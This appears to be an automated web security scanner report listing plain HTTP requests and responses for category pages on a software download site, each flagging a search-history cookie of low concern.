HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A32%3A%22ext2fs-ext3fs-paragon-extbrowser%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A32%3A%22ext2fs+ext3fs+paragon+extbrowser%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29987
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-fast-download-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22fast-download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22fast+download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96343
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-feed-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92799
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-feedreader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-file-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-file-sharing-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-sharing%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+sharing%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-firefox-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22firefox%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22firefox%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 97672
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-forum-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-forum-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:32 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:58 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-forums-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87175
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-google-groups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22google-groups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22google+groups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81360
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98790
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-group-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86955
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-groups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22groups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22groups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-highspeed-connection-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22highspeed-connection%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22highspeed+connection%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32070
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-image-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22image-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22image+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91637
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-images-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91682
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-internet-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 39465
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-internet-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93902
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-kill-file-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:56:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22kill-file%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22kill+file%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93504
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-killfile-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28388
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-mp3-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94965
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /64-bit-multimedia-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:19 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92538
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
